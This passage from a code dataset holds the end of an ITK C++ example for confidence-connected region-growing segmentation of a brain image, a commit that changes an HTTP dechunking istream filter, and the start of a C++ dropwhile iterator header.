\"Missing Parameters \" << std::endl;\n    std::cerr << \"Usage: \" << argv[0];\n    std::cerr << \" inputImage  outputImage seedX seedY \" << std::endl;\n    return 1;\n    }\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  We declare now the image type using a pixel type and a particular\n  \/\/  dimension. In this case the \\code{float} type is used for the pixels due\n  \/\/  to the requirements of the smoothing filter. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef   float           InternalPixelType;\n  const     unsigned int    Dimension = 2;\n  \n  typedef itk::Image< InternalPixelType, Dimension >  InternalImageType;\n  \/\/ Software Guide : EndCodeSnippet\n\n\n  typedef unsigned char OutputPixelType;\n  typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n\n  typedef itk::CastImageFilter< \n                        InternalImageType, \n                        OutputImageType    >    CastingFilterType;\n  \n  CastingFilterType::Pointer caster = CastingFilterType::New();\n                        \n  \/\/\n  \/\/ We instantiate reader and writer types\n  \/\/\n  typedef  itk::ImageFileReader< InternalImageType > ReaderType;\n  typedef  itk::ImageFileWriter<  OutputImageType  > WriterType;\n\n  ReaderType::Pointer reader = ReaderType::New();\n  WriterType::Pointer writer = WriterType::New();\n\n  reader->SetFileName( argv[1] );\n  writer->SetFileName( argv[2] );\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  \n  \/\/  The smoothing filter type is instantiated using the image type as\n  \/\/  template parameter.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef   itk::CurvatureFlowImageFilter< \n                               InternalImageType, \n                               InternalImageType >  CurvatureFlowImageFilterType;\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  Then, the filter is created by invoking the \\code{New()} method and\n  \/\/  assigning the result to a \\code{SmartPointer}.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  CurvatureFlowImageFilterType::Pointer smoothing = \n                         CurvatureFlowImageFilterType::New();\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  We declare now the type of the region growing filter. In this case it is\n  \/\/  the \\code{itk::ConfidenceConectedImageFilter}. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef  itk::ConfidenceConnectedImageFilter< \n                                    InternalImageType, \n                                    InternalImageType > ConnectedFilterType;\n  \/\/ Software Guide : EndCodeSnippet\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  then, we  construct one filter of this class using the \\code{New()} method. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  ConnectedFilterType::Pointer confidenceConnected = ConnectedFilterType::New();\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  Now is time for connecting the pipeline. This is pretty linear in our\n  \/\/  example. A file reader is added at the beginning of the pipeline and a\n  \/\/  caster filter and writer are added at the end. The caster filter is\n  \/\/  required here to convert \\code{float} pixel types to the integers types\n  \/\/  since only a few image file formats support \\code{float} types.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  smoothing->SetInput( reader->GetOutput() );\n\n  confidenceConnected->SetInput( smoothing->GetOutput() );\n\n  caster->SetInput( confidenceConnected->GetOutput() );\n\n  writer->SetInput( caster->GetOutput() );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The \\code{CurvatureFlowImageFilter} requires a couple of parameter to be\n  \/\/  defined. The following are typical values for $2D$ images. However they\n  \/\/  may have to be adjusted depending on the amount of noise present in the\n  \/\/  input image.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  smoothing->SetNumberOfIterations( 5 );\n\n  smoothing->SetTimeStep( 0.25 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The \\code{ConfidenceConnectedImageFilter} has two parameters to be\n  \/\/  defined. First, the factor $f$ that the defines how large the range of\n  \/\/  intensities will be. Small values of the multiplier will restrict the\n  \/\/  inclusion of pixels to those having very similar intensities to those in\n  \/\/  the current region. Larger values of the multiplier will relax the\n  \/\/  accepting condition and will result in more generous growth of the\n  \/\/  region. Too large values will make the region ingest neighbor regions in\n  \/\/  the image that may actually belong to separate anatomical structures.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetMultiplier()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetMultiplier( 2.5 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The number of iteration may be decided based on how homogeneous are the\n  \/\/  intensities on the anatomical structure to be segmented. Very homogeneous\n  \/\/  regions may require only a couple of iterations. Regions with ramp\n  \/\/  effects, like for example MRI images with inhomogenous fields may require\n  \/\/  more iterations. In practice, it seems to be more relevant to carefully\n  \/\/  select the multiplier factor rather than the number of iterations.\n  \/\/  However keep in mind that there is no reason to assume that this\n  \/\/  algorithm should converge to a stable region. It is possible that by\n  \/\/  letting the algorithm run for more iterations the region will end up\n  \/\/  engulfing the entire image.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetNumberOfIterations()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetNumberOfIterations( 5 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The output of this filter is a binary image with zero-value pixels\n  \/\/  everywhere except on the extracted region. The intensity value to be put\n  \/\/  inside the region is selected with the method \\code{SetReplaceValue()}\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetReplaceValue()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetReplaceValue( 255 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The initialization of the algorithm requires the user to provide a seed\n  \/\/  point. It is convenient to select this point to be placed in a\n  \/\/  \\emph{typical} region of the anatomical structure to be segmented. A\n  \/\/  small neighborhood around the seed point will be used to compute the\n  \/\/  initial mean and standard deviation for the inclusion criterion. The seed\n  \/\/  is passed in the form of a \\code{Index} to the \\code{SetSeed()} method.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetSeed()}\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetInitialNeighborhoodRadius()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  InternalImageType::IndexType  index;\n  \n  index[0] = atoi( argv[3] );\n  index[1] = atoi( argv[4] );\n\n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetSeed( index );\n  \/\/ Software Guide : EndCodeSnippet\n \n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  \n  \/\/  The size of the initial neighborhood around the seed is defined with the\n  \/\/  method \\code{SetInitialNeighborhoodRadius()}. The neighborhood will be\n  \/\/  defined as an $N$-Dimensional rectangular region with $2r+1$ pixels on\n  \/\/  the side, where $r$ is the value passed as initial neighborhood radius. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetInitialNeighborhoodRadius( 2 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  The invokation of the \\code{Update()} method on the writer triggers the\n  \/\/  execution of the pipeline.  It is usually wise to put update calls in\n  \/\/  \\code{try\/catch} block in case errors ocurr and exceptions are thrown.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  try\n    {\n    writer->Update();\n    }\n  catch( itk::ExceptionObject & excep )\n    {\n    std::cerr << \"Exception caught !\" << std::endl;\n    std::cerr << excep << std::endl;\n    }\n  \/\/ Software Guide : EndCodeSnippet\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  Let's now run this example using as input the image\n  \/\/  \\code{BrainProtonDensitySlice.png} provided in the directory\n  \/\/  \\code{Insight\/Examples\/Data}. We can easily segment the major anatomical\n  \/\/  structures by providing seeds in the appropriate locations. For example\n  \/\/\n  \/\/  \\begin{center}\n  \/\/  \\begin{tabular}{|l|c|c|}\n  \/\/  \\hline\n  \/\/  Structure & Seed Index & Output Image \\\\\n  \/\/  \\hline\n  \/\/  White matter & $(60,116)$ & Second from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  Ventricle    & $(81,112)$ & Third  from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  Gray matter  & $(107,69)$ & Fourth from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  \\hline\n  \/\/  \\end{tabular}\n  \/\/  \\end{center}\n  \/\/\n  \/\/ \\begin{figure} \\center\n  \/\/ \\includegraphics[width=4cm]{BrainProtonDensitySlice.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput1.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput2.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput3.eps}\n  \/\/ \\caption{Segmentation results of the ConfidenceConnected filter for various seed points.}\n  \/\/ \\label{fig:ConfidenceConnectedOutput}\n  \/\/ \\end{figure}\n  \/\/\n  \/\/  It can be noticed that the gray matter is not being completly segmented.\n  \/\/  This illustrates the vulnerability of the region growing methods when the\n  \/\/  anatomical structures to be segmented do not have a homogeneous\n  \/\/  statistical distribution over the image space. You may want to experiment\n  \/\/  with differnt numbers of iterations to verify how the accepted region\n  \/\/  will extend.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n\n\n\n  return 0;\n\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>- Removed uneeded code from Compiler::varDeclaration()<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * This istream filter removes HTTP chunking.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_dechunk.hxx\"\n#include \"http\/ChunkParser.hxx\"\n#include \"FacadeIstream.hxx\"\n#include \"pool.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"event\/Callback.hxx\"\n\n#include <algorithm>\n\n#include <glib.h>\n\n#include <assert.h>\n#include <string.h>\n\nclass DechunkIstream final : public FacadeIstream {\n    HttpChunkParser parser;\n\n    bool eof = false, closed = false;\n\n    bool had_input, had_output;\n\n    \/**\n     * Copy chunked data verbatim to handler?\n     *\n     * @see istream_dechunk_check_verbatim()\n     *\/\n    bool verbatim = false;\n\n    \/**\n     * Was the end-of-file chunk seen at the end of #pending_verbatim?\n     *\/\n    bool eof_verbatim;\n\n    bool seen_eof = false;\n\n    \/**\n     * Number of data chunk bytes already seen, but not yet consumed\n     * by our #IstreamHandler.  In verbatim mode, this attribute is\n     * unused.\n     *\/\n    size_t seen_data = 0;\n\n    \/**\n     * Number of bytes to be passed to handler verbatim, which have\n     * already been parsed but have not yet been consumed by the\n     * handler.\n     *\/\n    size_t pending_verbatim;\n\n    \/**\n     * This event is used to defer an DechunkHandler::OnDechunkEnd()\n     * call.\n     *\/\n    DeferEvent defer_eof_event;\n\n    DechunkHandler &dechunk_handler;\n\npublic:\n    DechunkIstream(struct pool &p, Istream &_input,\n                   DechunkHandler &_dechunk_handler)\n        :FacadeIstream(p, _input),\n         defer_eof_event(MakeSimpleEventCallback(DechunkIstream, DeferredEof),\n                         this),\n         dechunk_handler(_dechunk_handler)\n    {\n    }\n\n    static DechunkIstream *CheckCast(Istream &i) {\n        return dynamic_cast<DechunkIstream *>(&i);\n    }\n\n    void SetVerbatim() {\n        verbatim = true;\n        eof_verbatim = false;\n        pending_verbatim = 0;\n    }\n\nprivate:\n    void Abort(GError *error);\n\n    gcc_pure\n    bool IsEofPending() const {\n        return defer_eof_event.IsPending();\n    }\n\n    void DeferredEof();\n\n    void EofDetected();\n\n    bool CalculateRemainingDataSize(const char *src, const char *src_end);\n\n    size_t Feed(const void *data, size_t length);\n\npublic:\n    \/* virtual methods from class Istream *\/\n\n    off_t _GetAvailable(bool partial) override;\n    void _Read() override;\n    void _Close() override;\n\nprotected:\n    \/* virtual methods from class IstreamHandler *\/\n    size_t OnData(const void *data, size_t length) override;\n    void OnEof() override;\n    void OnError(GError *error) override;\n};\n\nvoid\nDechunkIstream::Abort(GError *error)\n{\n    assert(!closed);\n    assert(!parser.HasEnded());\n    assert(input.IsDefined());\n    assert(!IsEofPending());\n\n    closed = true;\n\n    input.ClearAndClose();\n    DestroyError(error);\n}\n\nvoid\nDechunkIstream::DeferredEof()\n{\n    assert(parser.HasEnded());\n    assert(!eof);\n\n    eof = true;\n\n    dechunk_handler.OnDechunkEnd(input.Steal());\n\n    assert(!input.IsDefined());\n    assert(parser.HasEnded());\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n\n    if (!closed) {\n        closed = true;\n        DestroyEof();\n    }\n}\n\nvoid\nDechunkIstream::EofDetected()\n{\n    assert(input.IsDefined());\n    assert(parser.HasEnded());\n\n    defer_eof_event.Add();\n}\n\ninline bool\nDechunkIstream::CalculateRemainingDataSize(const char *src,\n                                           const char *const src_end)\n{\n    assert(!IsEofPending());\n    assert(!eof);\n\n    seen_data = 0;\n\n    if (parser.HasEnded()) {\n        if (!seen_eof) {\n            seen_eof = true;\n            dechunk_handler.OnDechunkEndSeen();\n        }\n\n        return true;\n    }\n\n    \/* work with a copy of our HttpChunkParser *\/\n    HttpChunkParser p(parser);\n\n    while (src != src_end) {\n        GError *error = nullptr;\n        const ConstBuffer<char> src_remaining(src, src_end - src);\n        auto data = ConstBuffer<char>::FromVoid(p.Parse(src_remaining.ToVoid(),\n                                                        &error));\n        if (data.IsNull()) {\n            Abort(error);\n            return false;\n        }\n\n        if (data.IsEmpty()) {\n            if (p.HasEnded() && !seen_eof) {\n                seen_eof = true;\n                dechunk_handler.OnDechunkEndSeen();\n            }\n\n            break;\n        }\n\n        seen_data += data.size;\n        p.Consume(data.size);\n        src = data.end();\n    }\n\n    return true;\n}\n\nsize_t\nDechunkIstream::Feed(const void *data0, size_t length)\n{\n    assert(!closed);\n    assert(input.IsDefined());\n    assert(!IsEofPending());\n    assert(!verbatim || !eof_verbatim);\n\n    had_input = true;\n\n    const auto src_begin = (const char *)data0;\n    const auto src_end = src_begin + length;\n\n    auto src = src_begin;\n    if (verbatim)\n        \/* skip the part that has already been parsed in the last\n           invocation, but could not be consumed by the handler *\/\n        src += pending_verbatim;\n\n    while (src != src_end) {\n        GError *error = nullptr;\n        const ConstBuffer<char> src_remaining(src, src_end - src);\n        auto data = ConstBuffer<char>::FromVoid(parser.Parse(src_remaining.ToVoid(),\n                                                             &error));\n        if (data.IsNull()) {\n            Abort(error);\n            return 0;\n        }\n\n        assert(data.data >= src);\n        assert(data.data <= src_end);\n        assert(data.end() <= src_end);\n\n        src = data.data;\n\n        if (!data.IsEmpty()) {\n            assert(!parser.HasEnded());\n\n            size_t nbytes;\n\n            if (verbatim) {\n                \/* postpone this data chunk; try to send it all later in\n                   one big block *\/\n                nbytes = data.size;\n            } else {\n                had_output = true;\n                seen_data += data.size;\n                nbytes = InvokeData(src, data.size);\n                assert(nbytes <= data.size);\n\n                if (nbytes == 0) {\n                    if (closed)\n                        return 0;\n                    else\n                        break;\n                }\n            }\n\n            src += nbytes;\n\n            bool finished = parser.Consume(nbytes);\n            if (!finished && !verbatim)\n                break;\n        } else if (parser.HasEnded()) {\n            break;\n        } else {\n            assert(src == src_end);\n        }\n    }\n\n    const size_t position = src - src_begin;\n    if (verbatim && position > 0) {\n        \/* send all chunks in one big block *\/\n        had_output = true;\n        size_t nbytes = InvokeData(src_begin, position);\n        if (closed)\n            return 0;\n\n        \/* postpone the rest that was not handled; it will not be\n           parsed again *\/\n        pending_verbatim = position - nbytes;\n        if (parser.HasEnded()) {\n            if (pending_verbatim > 0)\n                \/* not everything could be sent; postpone to\n                   next call *\/\n                eof_verbatim = true;\n            else\n                EofDetected();\n        }\n\n        return nbytes;\n    } else if (parser.HasEnded())\n        EofDetected();\n\n    if (!verbatim && !CalculateRemainingDataSize(src, src_end))\n        return 0;\n\n    return position;\n}\n\n\n\/*\n * istream handler\n *\n *\/\n\nsize_t\nDechunkIstream::OnData(const void *data, size_t length)\n{\n    assert(!verbatim || length >= pending_verbatim);\n\n    if (IsEofPending())\n        \/* don't accept any more data after the EOF chunk *\/\n        return 0;\n\n    if (verbatim && eof_verbatim) {\n        \/* during the last call, the EOF chunk was parsed, but we\n           could not handle it yet, because the handler did not\n           consume all data yet; try to send the remaining pre-EOF\n           data again and then handle the EOF chunk *\/\n\n        assert(pending_verbatim > 0);\n\n        assert(length >= pending_verbatim);\n\n        had_output = true;\n        size_t nbytes = InvokeData(data, pending_verbatim);\n        if (nbytes == 0)\n            return 0;\n\n        pending_verbatim -= nbytes;\n        if (pending_verbatim == 0)\n            EofDetected();\n\n        return nbytes;\n    }\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n    return Feed(data, length);\n}\n\nvoid\nDechunkIstream::OnEof()\n{\n    assert(!closed);\n\n    input.Clear();\n\n    if (IsEofPending())\n        \/* let defer_eof_event handle this *\/\n        return;\n\n    closed = true;\n\n    if (eof)\n        return;\n\n    GError *error =\n        g_error_new_literal(dechunk_quark(), 0,\n                            \"premature EOF in dechunker\");\n    DestroyError(error);\n}\n\nvoid\nDechunkIstream::OnError(GError *error)\n{\n    input.Clear();\n\n    if (IsEofPending()) {\n        \/* let defer_eof_event handle this *\/\n        g_error_free(error);\n        return;\n    }\n\n    assert(!closed);\n    closed = true;\n    DestroyError(error);\n}\n\n\/*\n * istream implementation\n *\n *\/\n\noff_t\nDechunkIstream::_GetAvailable(bool partial)\n{\n    if (IsEofPending())\n        return 0;\n\n    if (verbatim) {\n        if (!partial && !eof_verbatim)\n            return -1;\n\n        return pending_verbatim;\n    } else {\n        if (!partial && !seen_eof)\n            return -1;\n\n        return seen_data;\n    }\n}\n\nvoid\nDechunkIstream::_Read()\n{\n    if (IsEofPending())\n        return;\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n\n    had_output = false;\n\n    do {\n        had_input = false;\n        input.Read();\n    } while (input.IsDefined() && had_input && !had_output &&\n             !IsEofPending());\n}\n\nvoid\nDechunkIstream::_Close()\n{\n    assert(!eof);\n    assert(!closed);\n\n    closed = true;\n    defer_eof_event.Cancel();\n\n    if (input.IsDefined())\n        input.ClearAndClose();\n    Destroy();\n}\n\n\/*\n * constructor\n *\n *\/\n\nIstream *\nistream_dechunk_new(struct pool *pool, Istream &input,\n                    DechunkHandler &dechunk_handler)\n{\n    return NewIstream<DechunkIstream>(*pool, input, dechunk_handler);\n}\n\nbool\nistream_dechunk_check_verbatim(Istream &i)\n{\n    auto *dechunk = DechunkIstream::CheckCast(i);\n    if (dechunk == nullptr)\n        \/* not a DechunkIstream instance *\/\n        return false;\n\n    dechunk->SetVerbatim();\n    return true;\n}\n<commit_msg>istream\/dechunk: skip CalculateRemainingDataSize() call after EofDetected()<commit_after>\/*\n * This istream filter removes HTTP chunking.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_dechunk.hxx\"\n#include \"http\/ChunkParser.hxx\"\n#include \"FacadeIstream.hxx\"\n#include \"pool.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"event\/Callback.hxx\"\n\n#include <algorithm>\n\n#include <glib.h>\n\n#include <assert.h>\n#include <string.h>\n\nclass DechunkIstream final : public FacadeIstream {\n    HttpChunkParser parser;\n\n    bool eof = false, closed = false;\n\n    bool had_input, had_output;\n\n    \/**\n     * Copy chunked data verbatim to handler?\n     *\n     * @see istream_dechunk_check_verbatim()\n     *\/\n    bool verbatim = false;\n\n    \/**\n     * Was the end-of-file chunk seen at the end of #pending_verbatim?\n     *\/\n    bool eof_verbatim;\n\n    bool seen_eof = false;\n\n    \/**\n     * Number of data chunk bytes already seen, but not yet consumed\n     * by our #IstreamHandler.  In verbatim mode, this attribute is\n     * unused.\n     *\/\n    size_t seen_data = 0;\n\n    \/**\n     * Number of bytes to be passed to handler verbatim, which have\n     * already been parsed but have not yet been consumed by the\n     * handler.\n     *\/\n    size_t pending_verbatim;\n\n    \/**\n     * This event is used to defer an DechunkHandler::OnDechunkEnd()\n     * call.\n     *\/\n    DeferEvent defer_eof_event;\n\n    DechunkHandler &dechunk_handler;\n\npublic:\n    DechunkIstream(struct pool &p, Istream &_input,\n                   DechunkHandler &_dechunk_handler)\n        :FacadeIstream(p, _input),\n         defer_eof_event(MakeSimpleEventCallback(DechunkIstream, DeferredEof),\n                         this),\n         dechunk_handler(_dechunk_handler)\n    {\n    }\n\n    static DechunkIstream *CheckCast(Istream &i) {\n        return dynamic_cast<DechunkIstream *>(&i);\n    }\n\n    void SetVerbatim() {\n        verbatim = true;\n        eof_verbatim = false;\n        pending_verbatim = 0;\n    }\n\nprivate:\n    void Abort(GError *error);\n\n    gcc_pure\n    bool IsEofPending() const {\n        return defer_eof_event.IsPending();\n    }\n\n    void DeferredEof();\n\n    void EofDetected();\n\n    bool CalculateRemainingDataSize(const char *src, const char *src_end);\n\n    size_t Feed(const void *data, size_t length);\n\npublic:\n    \/* virtual methods from class Istream *\/\n\n    off_t _GetAvailable(bool partial) override;\n    void _Read() override;\n    void _Close() override;\n\nprotected:\n    \/* virtual methods from class IstreamHandler *\/\n    size_t OnData(const void *data, size_t length) override;\n    void OnEof() override;\n    void OnError(GError *error) override;\n};\n\nvoid\nDechunkIstream::Abort(GError *error)\n{\n    assert(!closed);\n    assert(!parser.HasEnded());\n    assert(input.IsDefined());\n    assert(!IsEofPending());\n\n    closed = true;\n\n    input.ClearAndClose();\n    DestroyError(error);\n}\n\nvoid\nDechunkIstream::DeferredEof()\n{\n    assert(parser.HasEnded());\n    assert(!eof);\n\n    eof = true;\n\n    dechunk_handler.OnDechunkEnd(input.Steal());\n\n    assert(!input.IsDefined());\n    assert(parser.HasEnded());\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n\n    if (!closed) {\n        closed = true;\n        DestroyEof();\n    }\n}\n\nvoid\nDechunkIstream::EofDetected()\n{\n    assert(input.IsDefined());\n    assert(parser.HasEnded());\n\n    defer_eof_event.Add();\n}\n\ninline bool\nDechunkIstream::CalculateRemainingDataSize(const char *src,\n                                           const char *const src_end)\n{\n    assert(!IsEofPending());\n    assert(!eof);\n\n    seen_data = 0;\n\n    if (parser.HasEnded()) {\n        if (!seen_eof) {\n            seen_eof = true;\n            dechunk_handler.OnDechunkEndSeen();\n        }\n\n        return true;\n    }\n\n    \/* work with a copy of our HttpChunkParser *\/\n    HttpChunkParser p(parser);\n\n    while (src != src_end) {\n        GError *error = nullptr;\n        const ConstBuffer<char> src_remaining(src, src_end - src);\n        auto data = ConstBuffer<char>::FromVoid(p.Parse(src_remaining.ToVoid(),\n                                                        &error));\n        if (data.IsNull()) {\n            Abort(error);\n            return false;\n        }\n\n        if (data.IsEmpty()) {\n            if (p.HasEnded() && !seen_eof) {\n                seen_eof = true;\n                dechunk_handler.OnDechunkEndSeen();\n            }\n\n            break;\n        }\n\n        seen_data += data.size;\n        p.Consume(data.size);\n        src = data.end();\n    }\n\n    return true;\n}\n\nsize_t\nDechunkIstream::Feed(const void *data0, size_t length)\n{\n    assert(!closed);\n    assert(input.IsDefined());\n    assert(!IsEofPending());\n    assert(!verbatim || !eof_verbatim);\n\n    had_input = true;\n\n    const auto src_begin = (const char *)data0;\n    const auto src_end = src_begin + length;\n\n    auto src = src_begin;\n    if (verbatim)\n        \/* skip the part that has already been parsed in the last\n           invocation, but could not be consumed by the handler *\/\n        src += pending_verbatim;\n\n    while (src != src_end) {\n        GError *error = nullptr;\n        const ConstBuffer<char> src_remaining(src, src_end - src);\n        auto data = ConstBuffer<char>::FromVoid(parser.Parse(src_remaining.ToVoid(),\n                                                             &error));\n        if (data.IsNull()) {\n            Abort(error);\n            return 0;\n        }\n\n        assert(data.data >= src);\n        assert(data.data <= src_end);\n        assert(data.end() <= src_end);\n\n        src = data.data;\n\n        if (!data.IsEmpty()) {\n            assert(!parser.HasEnded());\n\n            size_t nbytes;\n\n            if (verbatim) {\n                \/* postpone this data chunk; try to send it all later in\n                   one big block *\/\n                nbytes = data.size;\n            } else {\n                had_output = true;\n                seen_data += data.size;\n                nbytes = InvokeData(src, data.size);\n                assert(nbytes <= data.size);\n\n                if (nbytes == 0) {\n                    if (closed)\n                        return 0;\n                    else\n                        break;\n                }\n            }\n\n            src += nbytes;\n\n            bool finished = parser.Consume(nbytes);\n            if (!finished && !verbatim)\n                break;\n        } else if (parser.HasEnded()) {\n            break;\n        } else {\n            assert(src == src_end);\n        }\n    }\n\n    const size_t position = src - src_begin;\n    if (verbatim && position > 0) {\n        \/* send all chunks in one big block *\/\n        had_output = true;\n        size_t nbytes = InvokeData(src_begin, position);\n        if (closed)\n            return 0;\n\n        \/* postpone the rest that was not handled; it will not be\n           parsed again *\/\n        pending_verbatim = position - nbytes;\n        if (parser.HasEnded()) {\n            if (pending_verbatim > 0)\n                \/* not everything could be sent; postpone to\n                   next call *\/\n                eof_verbatim = true;\n            else\n                EofDetected();\n        }\n\n        return nbytes;\n    } else if (parser.HasEnded()) {\n        EofDetected();\n        return position;\n    }\n\n    if (!verbatim && !CalculateRemainingDataSize(src, src_end))\n        return 0;\n\n    return position;\n}\n\n\n\/*\n * istream handler\n *\n *\/\n\nsize_t\nDechunkIstream::OnData(const void *data, size_t length)\n{\n    assert(!verbatim || length >= pending_verbatim);\n\n    if (IsEofPending())\n        \/* don't accept any more data after the EOF chunk *\/\n        return 0;\n\n    if (verbatim && eof_verbatim) {\n        \/* during the last call, the EOF chunk was parsed, but we\n           could not handle it yet, because the handler did not\n           consume all data yet; try to send the remaining pre-EOF\n           data again and then handle the EOF chunk *\/\n\n        assert(pending_verbatim > 0);\n\n        assert(length >= pending_verbatim);\n\n        had_output = true;\n        size_t nbytes = InvokeData(data, pending_verbatim);\n        if (nbytes == 0)\n            return 0;\n\n        pending_verbatim -= nbytes;\n        if (pending_verbatim == 0)\n            EofDetected();\n\n        return nbytes;\n    }\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n    return Feed(data, length);\n}\n\nvoid\nDechunkIstream::OnEof()\n{\n    assert(!closed);\n\n    input.Clear();\n\n    if (IsEofPending())\n        \/* let defer_eof_event handle this *\/\n        return;\n\n    closed = true;\n\n    if (eof)\n        return;\n\n    GError *error =\n        g_error_new_literal(dechunk_quark(), 0,\n                            \"premature EOF in dechunker\");\n    DestroyError(error);\n}\n\nvoid\nDechunkIstream::OnError(GError *error)\n{\n    input.Clear();\n\n    if (IsEofPending()) {\n        \/* let defer_eof_event handle this *\/\n        g_error_free(error);\n        return;\n    }\n\n    assert(!closed);\n    closed = true;\n    DestroyError(error);\n}\n\n\/*\n * istream implementation\n *\n *\/\n\noff_t\nDechunkIstream::_GetAvailable(bool partial)\n{\n    if (IsEofPending())\n        return 0;\n\n    if (verbatim) {\n        if (!partial && !eof_verbatim)\n            return -1;\n\n        return pending_verbatim;\n    } else {\n        if (!partial && !seen_eof)\n            return -1;\n\n        return seen_data;\n    }\n}\n\nvoid\nDechunkIstream::_Read()\n{\n    if (IsEofPending())\n        return;\n\n    const ScopePoolRef ref(GetPool() TRACE_ARGS);\n\n    had_output = false;\n\n    do {\n        had_input = false;\n        input.Read();\n    } while (input.IsDefined() && had_input && !had_output &&\n             !IsEofPending());\n}\n\nvoid\nDechunkIstream::_Close()\n{\n    assert(!eof);\n    assert(!closed);\n\n    closed = true;\n    defer_eof_event.Cancel();\n\n    if (input.IsDefined())\n        input.ClearAndClose();\n    Destroy();\n}\n\n\/*\n * constructor\n *\n *\/\n\nIstream *\nistream_dechunk_new(struct pool *pool, Istream &input,\n                    DechunkHandler &dechunk_handler)\n{\n    return NewIstream<DechunkIstream>(*pool, input, dechunk_handler);\n}\n\nbool\nistream_dechunk_check_verbatim(Istream &i)\n{\n    auto *dechunk = DechunkIstream::CheckCast(i);\n    if (dechunk == nullptr)\n        \/* not a DechunkIstream instance *\/\n        return false;\n\n    dechunk->SetVerbatim();\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef DROPWHILE__H__\n#define DROPWHILE__H__\n\nnamespace iter {\n\n    \/\/Forward declarations of DropWhile and dropwhile\n    template <typename FilterFunc, typename Container>\n    class DropWhile;\n\n    template <typename FilterFunc, typename Container>\n    DropWhile<FilterFunc, Container> dropwhile(FilterFunc, Container &);\n\n    template <typename FilterFunc, typename Container>\n    class DropWhile {\n        friend DropWhile dropwhile<FilterFunc, Container>(\n                FilterFunc, Container &);\n\n        \/\/ Type of the Container::Iterator, but since the name of that \n        \/\/ iterator can be anything, we have to grab it with this\n        using contained_iter_type =\n            decltype(((Container *)nullptr)->begin());\n\n        \/\/ The type returned when dereferencing the Container::Iterator\n        using contained_iter_ret =\n            decltype(((contained_iter_type *)nullptr)->operator*());\n\n        private:\n            Container & container;\n            FilterFunc filter_func;\n            \n            